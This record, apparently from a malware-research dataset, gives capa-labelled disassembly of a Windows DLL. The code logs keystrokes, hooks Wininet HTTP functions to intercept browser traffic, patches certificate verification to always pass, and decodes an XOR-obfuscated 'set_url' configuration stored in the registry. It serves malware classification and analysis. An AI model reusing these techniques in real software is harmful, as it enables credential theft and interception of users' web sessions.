joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005fb0
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
xor ebx, ebx
push 0xff
mov esi, eax
lea eax, [ebp - 0x10b]
push ebx
push eax
mov byte [ebp - 0x10c], bl
call sub.MSVCRT.dll_memset
push 0x103
lea edx, [ebp - 0x20f]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0xc], cx
mov byte [ebp - 0x210], bl
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x1000607a
lea edx, [ebp - 0x210]
mov eax, esi
sub edx, esi
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10006010
xor eax, eax
mov word [ebp - 0xc], 1
xor ecx, ecx
jmp 0x10006030
mov byte [ebp + ecx - 0x10c], cl
inc ecx
cmp ecx, 0x100
jl 0x10006030
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x10c], dl
inc eax
cmp eax, 0x20
jl 0x10006057
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10006042
lea eax, [ebp - 0x210]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x10c]
call fcn.10016320
mov eax, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100060d5
cmp esi, ebx
je 0x100060b7
mov edx, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 1
push ebx
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x100060c2
mov eax, dword [ebp - 4]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp eax, ebx
jne 0x100060d5
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
or esi, 0xffffffff
jmp 0x100060d7
mov esi, ebx
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100060e5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10006160
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x100061a8
nop
push 0x64
call ebx
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x10006190
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edi, edi
mov dword [esp + 0xc], edi
cmp esi, edi
je 0x100061d7
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100061d7
test byte [esp + 0xc], 2
jne 0x100061d7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1005af28], edi
jne 0x100061e8
call fcn.100060f0
test eax, eax
je 0x1000622f
push 0x104
lea ecx, [esp + 0x14]
push ecx
push edi
mov dword [0x1005af28], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.100060f0
test eax, eax
je 0x10006223
push 0x100456fc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10006223
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1004fb50]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x7d0
call ebx
call fcn.10006160
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007350
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov ecx, dword [0x1005af40]
push ebx
push esi
mov esi, dword [0x1004fb48]
mov al, 1
push edi
mov byte [ebp - 1], al
cmp ecx, dword [ebp + 8]
jne 0x10007389
mov edx, dword [0x1005af44]
cmp edx, dword [ebp + 0xc]
jne 0x10007389
mov cl, byte [0x1005af25]
cmp cl, byte [ebp + 0x10]
je 0x100074d1
mov edx, dword [0x1005067c]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov eax, dword [0x1004fb60]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push eax
call edi
mov ecx, dword [0x1004fb54]
push 0xffffffffffffffff
push ecx
call edi
mov edi, dword [esi + 0x2f4]
call fcn.100071c0
mov edx, dword [0x100505ec]
push 0
push 6
push edx
call fcn.1000c670
call fcn.100070c0
mov eax, dword [0x1005af84]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [0x1005af8c]
mov ebx, eax
mov dword [ebp + 0x10], 0
test eax, eax
je 0x1000740b
lea ecx, [ebp + 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1000740b
test byte [ebp + 0x10], 2
jne 0x1000740b
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x100505e8]
mov eax, dword [edx + 0x11b]
push 0x1005059c
push eax
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
push 0
push 0
push 0xf001f
push eax
mov dword [0x1005af8c], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x1005af84], eax
test eax, eax
jne 0x1000744f
xor bl, bl
jmp 0x100074b8
mov ecx, dword [0x100505e8]
mov edx, dword [0x1005af44]
mov eax, dword [0x1005af40]
movzx ecx, byte [ecx + 0x11a]
push edx
push eax
call fcn.100295e0
test edi, edi
je 0x10007482
mov ecx, dword [0x1004fb44]
push edi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [0x100505ec]
push 1
push 6
push edx
call fcn.1000c670
movzx eax, word [0x1005af44]
movzx ecx, word [0x1005af40]
movzx edx, byte [0x1005af25]
shl eax, 0x10
or eax, ecx
push eax
push edx
push 0x7e
call fcn.1000c670
mov bl, byte [ebp - 1]
mov eax, dword [0x1004fb54]
mov esi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push eax
call esi
mov ecx, dword [0x1004fb60]
push ecx
call esi
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10007e20
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov bl, byte [ebp + 0xc]
push esi
push edi
mov edi, eax
xor eax, eax
test bl, bl
setne al
mov byte [ebp - 4], 0
dec eax
and eax, 0xc0000000
mov dword [ebp + 0xc], eax
xor al, al
movzx ecx, al
cmp dword [ecx*8 + 0x100491a0], edi
je 0x10007e56
inc al
cmp al, 0x58
jb 0x10007e42
jmp 0x10007e79
movzx eax, al
add eax, eax
add eax, eax
mov dl, byte [eax + eax + 0x100491a4]
add eax, eax
cmp byte [eax + 0x100491a5], 0
mov byte [ebp - 4], dl
je 0x10007e79
or dword [ebp + 0xc], 0x1000000
mov eax, dword [0x1004fb6c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp byte [ebp - 4], 0
je 0x10007f01
mov ecx, dword [ebp - 4]
push ecx
mov cl, bl
call fcn.10008030
movzx edi, byte [ebp - 4]
push 0
push edi
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
test al, al
je 0x10007eb2
movzx edx, al
shl edx, 0x10
or dword [ebp + 0xc], edx
mov eax, dword [0x100505e8]
test byte [eax + 0x1a], 0x80
je 0x10007ec7
test byte [eax + 0x19], 0x80
jne 0x10007ec7
mov al, 1
jmp 0x10007ec9
xor al, al
test bl, bl
je 0x10007ee7
xor ecx, ecx
test al, al
setne cl
mov byte [0x1004fb6b], 1
lea esi, [ecx*4 + 0x100]
jmp 0x10007f8a
xor edx, edx
test al, al
setne dl
mov byte [0x1004fb6b], 0
lea esi, [edx*4 + 0x101]
jmp 0x10007f8a
cmp byte [0x1004fb6b], 0
mov esi, dword [0x100505e8]
jne 0x10007f2e
cmp byte [0x1004fb6a], 0
je 0x10007f40
add edi, 0xffffffe0
test bl, bl
je 0x10007f7e
mov byte [0x1004fb6a], 1
mov esi, 0x100
jmp 0x10007f8a
test byte [esi + 0x18], 0x80
je 0x10007f19
cmp byte [esi + 0x1a], 0
jne 0x10007f19
cmp byte [esi + 0x19], 0
jne 0x10007f19
test bl, bl
je 0x10007f69
mov eax, edi
call fcn.10007cf0
movzx eax, ax
test ax, ax
je 0x10007f69
test byte [esi + 0x1a], 0x80
je 0x10007f60
or dword [ebp + 0xc], 0x20000000
mov edi, eax
mov esi, 0x102
jmp 0x10007f8a
mov eax, dword [0x1004fb6c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov byte [0x1004fb6a], 0
mov esi, 0x101
mov ecx, dword [0x1004fb6c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov al, byte [ebp - 4]
call fcn.10007d80
test al, al
je 0x10007fe7
cmp byte [0x1005af26], 0
je 0x10008018
cmp byte [0x1005af6a], 0
jne 0x10007fc8
call fcn.1000bb50
pop edi
pop esi
mov byte [0x1005af6a], al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [0x10050594]
push 0
push 0
push 0xe2ad
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp byte [0x1005af27], 0
jne 0x10008011
mov eax, dword [0x100505ec]
mov ebx, dword [ebp + 8]
push 0
push 3
push eax
push ebx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp + 0xc]
push ecx
push edi
push esi
push ebx
call dword [sym.imp.USER32.dll_PostMessageW]
mov byte [0x1005af27], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10008340
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
movzx esi, ax
shr eax, 0x10
push edi
mov edi, eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], edi
cmp eax, 0x201
ja 0x100083a5
je 0x1000839c
mov ecx, eax
sub ecx, 0xa1
je 0x10008391
sub ecx, 3
je 0x10008386
sub ecx, 3
jne 0x10008487
mov dword [ebp - 4], 0xa9
mov bl, 1
jmp 0x100083ca
mov dword [ebp - 4], 0xa6
mov bl, 1
jmp 0x100083ca
mov dword [ebp - 4], 0xa3
mov bl, 1
jmp 0x100083ca
mov dword [ebp - 4], 0x203
jmp 0x100083c8
mov ecx, eax
sub ecx, 0x204
je 0x100083c1
sub ecx, 3
jne 0x10008487
mov dword [ebp - 4], 0x209
jmp 0x100083c8
mov dword [ebp - 4], 0x206
xor bl, bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub esi, dword [0x1004fb70]
sub edi, dword [0x1004fb74]
mov ecx, eax
xor eax, eax
mov dword [ebp - 8], ecx
cmp esi, eax
jge 0x100083e9
neg esi
cmp edi, eax
jge 0x100083ef
neg edi
mov edx, dword [0x1005af5c]
cmp edx, dword [ebp + 8]
jne 0x10008458
mov edx, dword [0x1005af60]
cmp edx, dword [ebp + 0xc]
jne 0x10008458
sub ecx, dword [0x1005af64]
cmp ecx, 0x3e8
ja 0x10008458
test bl, bl
jne 0x10008429
mov eax, dword [ebp + 8]
push 0xffffffffffffffe6
push eax
call dword [sym.imp.USER32.dll_GetClassLongA]
test al, 8
je 0x10008458
xor eax, eax
cmp esi, 2
jg 0x10008458
cmp edi, 2
jg 0x10008458
mov dword [0x1004fb70], eax
mov dword [0x1004fb74], eax
mov dword [0x1005af60], eax
mov dword [0x1005af64], eax
mov dword [0x1005af5c], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov dword [0x1005af60], ecx
mov ecx, dword [ebp - 0x10]
mov dword [0x1005af64], edx
mov edx, dword [ebp - 0xc]
mov dword [0x1005af5c], eax
mov eax, dword [ebp + 0xc]
mov dword [0x1004fb70], ecx
mov dword [0x1004fb74], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000b570
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 1
mov edi, eax
push esi
push edi
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push eax
push ecx
push 0xd
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
push esi
push edi
mov ebx, eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 0xc

Function at 0x1000bb50
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 0
push 0x1000bb20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
mov dword [ebp - 4], 0
test esi, esi
je 0x1000bb93
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1000bb93
test byte [ebp - 4], 2
jne 0x1000bb93
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1004fb6c]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x100505e8]
mov esi, dword [eax + 0x10c]
xor edx, edx
mov dword [eax + 0x110], 0
mov dword [eax + 0x10c], 0
mov word [eax + 0x114], dx
mov eax, dword [0x1004fb6c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1000bbf1
push 0
push 0
push 0x215
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.1000c090
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000bc30
Capabilities:
Encode data using xor
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x100505d8
mov dword [ebp - 4], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x100505d8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
or ecx, 0xffffffff
mov edx, 0x100505d8
test eax, eax
je 0x1000bc7d
movzx esi, byte [edx]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x10050718]
inc edx
dec eax
jne 0x1000bc64
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
not ecx
mov esi, ecx
push esi
push str.MSCTF.Shared.MAPPING._x
push 0x100505f0
call edi
lea ebx, [esi + esi]
push ebx
push str.MSCTF.Shared.MAPPING._x
push 0x1005059c
call edi
lea ecx, [esi + esi*2]
push ecx
push str.MSCTF.Shared.MAPPING._x
push 0x1005062c
call edi
push esi
push str.MSCTF.Shared.MUTEX._x
push 0x100506c0
call edi
push ebx
push str.MSCTF.Shared.MUTEX._x
push 0x10050680
call edi
add esp, 0x3c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000bf40
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push 0x90
lea eax, [ebp - 0xa0]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xa4]
push ecx
mov dword [ebp - 0xa4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0xa0], 5
mov eax, 1
setbe dl
xor ecx, ecx
mov byte [0x100503e0], dl
cpuid
lea esi, [ebp - 0x10]
mov dword [esi], eax
mov dword [esi + 4], ebx
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
test dword [ebp - 8], 0x200
pop esi
pop ebx
je 0x1000bfb8
mov dword [0x1004f508], 0x10006cf0
mov esp, ebp
pop ebp
ret
test dword [ebp - 4], 0x4000000
je 0x1000bfcb
mov dword [0x1004f508], 0x10006ad0
mov esp, ebp
pop ebp
ret

Function at 0x1000bfd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x101
lea eax, [ebp - 0x104]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClassNameA]
mov edx, eax
or eax, 0xffffffff
lea ecx, [ebp - 0x104]
test edx, edx
je 0x1000c01a
push esi
lea esp, [esp]
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x10050718]
inc ecx
dec edx
jne 0x1000c000
pop esi
not eax
mov esp, ebp
pop ebp
ret

Function at 0x1000c090
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1005af6c]
sub esp, 0x104
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetWindow]
push esi
push edi
push 1
push 5
push eax
call ebx
push eax
call ebx
mov edi, dword [sym.imp.USER32.dll_PostMessageA]
mov esi, eax
lea esp, [esp]
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x1000c157
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
test eax, 0x40000000
jne 0x1000c13c
push 0x101
lea ecx, [ebp - 0x104]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
or ecx, 0xffffffff
lea edx, [ebp - 0x104]
test eax, eax
je 0x1000c11f
nop
movzx ebx, byte [edx]
xor ebx, ecx
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x10050718]
inc edx
dec eax
jne 0x1000c100
mov ebx, dword [sym.imp.USER32.dll_GetWindow]
not ecx
test ecx, ecx
je 0x1000c136
xor eax, eax
cmp ecx, dword [eax*8 + 0x1004f428]
je 0x1000c16d
inc eax
cmp eax, 0xb
jb 0x1000c127
xor eax, eax
test al, 0x20
je 0x1000c157
push 0
push 0x1b
push 0x100
push esi
call edi
push 0xc01b0000
push 0x1b
push 0x101
push esi
call edi
push 3
push esi
call ebx
mov esi, eax
test esi, esi
jne 0x1000c0c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, word [eax*8 + 0x1004f42c]
jmp 0x1000c138
Function at 0x1000f490
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
push 0
push 0
push str.Crypt32.dll
mov dword [ebp - 0xc], 0xc240c033
mov word [ebp - 8], 0x10
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000f501
push str.CertVerifyCertificateChainPolicy
push eax
call edi
mov esi, eax
test esi, esi
je 0x1000f501
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push esi
call ebx
test eax, eax
je 0x1000f500
mov eax, dword [ebp - 4]
test eax, eax
je 0x1000f500
mov ecx, dword [ebp - 0xc]
mov dx, word [ebp - 8]
mov dword [esi], ecx
lea ecx, [ebp - 4]
push ecx
push eax
push 6
push esi
mov word [esi + 4], dx
call ebx
pop ebx
push 0
push 0
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
test esi, esi
je 0x1000f616
push 0x100498e0
push esi
call edi
test eax, eax
je 0x1000f536
push 0x10050b50
push 0x1000f090
push eax
call fcn.10018770
push str.HttpSendRequestW
push esi
call edi
test eax, eax
je 0x1000f552
push 0x10050b54
push 0x1000ef80
push eax
call fcn.10018770
push str.HttpSendRequestExA
push esi
call edi
test eax, eax
je 0x1000f56e
push 0x10050b48
push 0x1000f260
push eax
call fcn.10018770
push str.HttpSendRequestExW
push esi
call edi
test eax, eax
je 0x1000f58a
push 0x10050b64
push 0x1000f1a0
push eax
call fcn.10018770
push str.InternetQueryDataAvailable
push esi
call edi
test eax, eax
je 0x1000f5a6
push 0x10050b5c
push 0x1000f400
push eax
call fcn.10018770
push 0x1004994c
push esi
call edi
test eax, eax
je 0x1000f5c2
push 0x10050b60
push 0x1000f310
push eax
call fcn.10018770
push str.InternetReadFileExA
push esi
call edi
test eax, eax
je 0x1000f5de
push 0x10050b4c
push 0x1000f3b0
push eax
call fcn.10018770
push str.InternetReadFileExW
push esi
call edi
test eax, eax
je 0x1000f5fa
push 0x10050b3c
push 0x1000f360
push eax
call fcn.10018770
push 0x10049988
push esi
call edi
test eax, eax
je 0x1000f616
push 0x10050b40
push 0x1000ec00
push eax
call fcn.10018770
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000f950
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x213]
push ebx
push eax
xor edi, edi
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], ebx
mov byte [ebp - 0x214], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0x101
push ebx
push str.softwaremicrosoft
xor edx, edx
push ecx
mov word [ebp - 0x10], dx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000faab
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 8]
push ecx
push ebx
push 0x1005bbf0
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000faab
mov word [ebp - 0x10], 1
xor ecx, ecx
lea esp, [esp]
mov byte [ebp + ecx - 0x110], cl
inc ecx
cmp ecx, 0x100
jl 0x1000fa00
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x110], dl
inc eax
cmp eax, 0x20
jl 0x1000fa27
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x1000fa12
lea eax, [ebp - 0x214]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x110]
call fcn.10016320
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000fa53
sub eax, edx
push esi
inc eax
xor esi, esi
cmp eax, ebx
je 0x1000fa8b
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x1000fa8b
push edi
push ebx
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
cmp esi, ebx
je 0x1000faaa
lea eax, [ebp - 0x214]
mov edx, eax
sub esi, edx
jmp 0x1000faa0
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
cmp cl, bl
jne 0x1000faa0
pop esi
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x1000fab9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000fad0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push edi
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call sub.MSVCRT.dll_memset
push 0x103
lea edx, [ebp - 0x20b]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 8], cx
mov byte [ebp - 0x20c], bl
call sub.MSVCRT.dll_memset
add esp, 0x18
xor edi, edi
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x1000fbf6
lea edx, [ebp - 0x20c]
mov eax, esi
sub edx, esi
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x1000fb30
xor eax, eax
mov word [ebp - 8], 1
xor ecx, ecx
jmp 0x1000fb50
mov byte [ebp + ecx - 0x108], cl
inc ecx
cmp ecx, 0x100
jl 0x1000fb50
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x108], dl
inc eax
cmp eax, 0x20
jl 0x1000fb77
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x1000fb62
lea eax, [ebp - 0x20c]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x108]
call fcn.10016320
mov eax, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000fbe8
mov edx, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 1
push ebx
push 0x1005bbf0
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1000fbe8
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edi, 1
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x1000fbf6
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000fc00
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.iexplore.exe
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1000fc98
xor eax, eax
mov word [ebp - 4], 1
xor ecx, ecx
lea esp, [esp]
mov byte [ebp + ecx - 0x104], cl
inc ecx
cmp ecx, 0x100
jl 0x1000fc30
xor ecx, ecx
mov dl, byte [eax + str.microsoft.public.win32.programmer.kernel]
xor byte [ebp + ecx - 0x104], dl
inc eax
cmp eax, 0x28
jl 0x1000fc57
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x1000fc42
push 0x1004f130
push 0x1004f130
mov edx, 0x2d1
lea eax, [ebp - 0x104]
call fcn.10016320
mov eax, 0x1004f130
call fcn.1000f620
push 0x2d1
push 0
push 0x1004f130
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x1000fcb3
push 0x80000001
call fcn.1000f950
mov esi, eax
test esi, esi
jne 0x1000fcc7
push 0x80000002
call fcn.1000f950
mov esi, eax
test esi, esi
je 0x1000fd6a
push ebx
push edi
push 1
push 0
mov eax, esi
call fcn.10005630
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, eax
test esi, esi
je 0x1000fcfc
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000fcfc
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x1000fd68
push str.set_url
push ebx
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x1000fd4c
mov edi, eax
push str.set_url
add esi, 8
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x1000fd32
mov byte [esi], 0
mov eax, edi
call fcn.1000f620
test esi, esi
je 0x1000fd40
mov byte [esi], 0x73
mov edi, esi
test esi, esi
jne 0x1000fd17
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000fd68
push ebx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret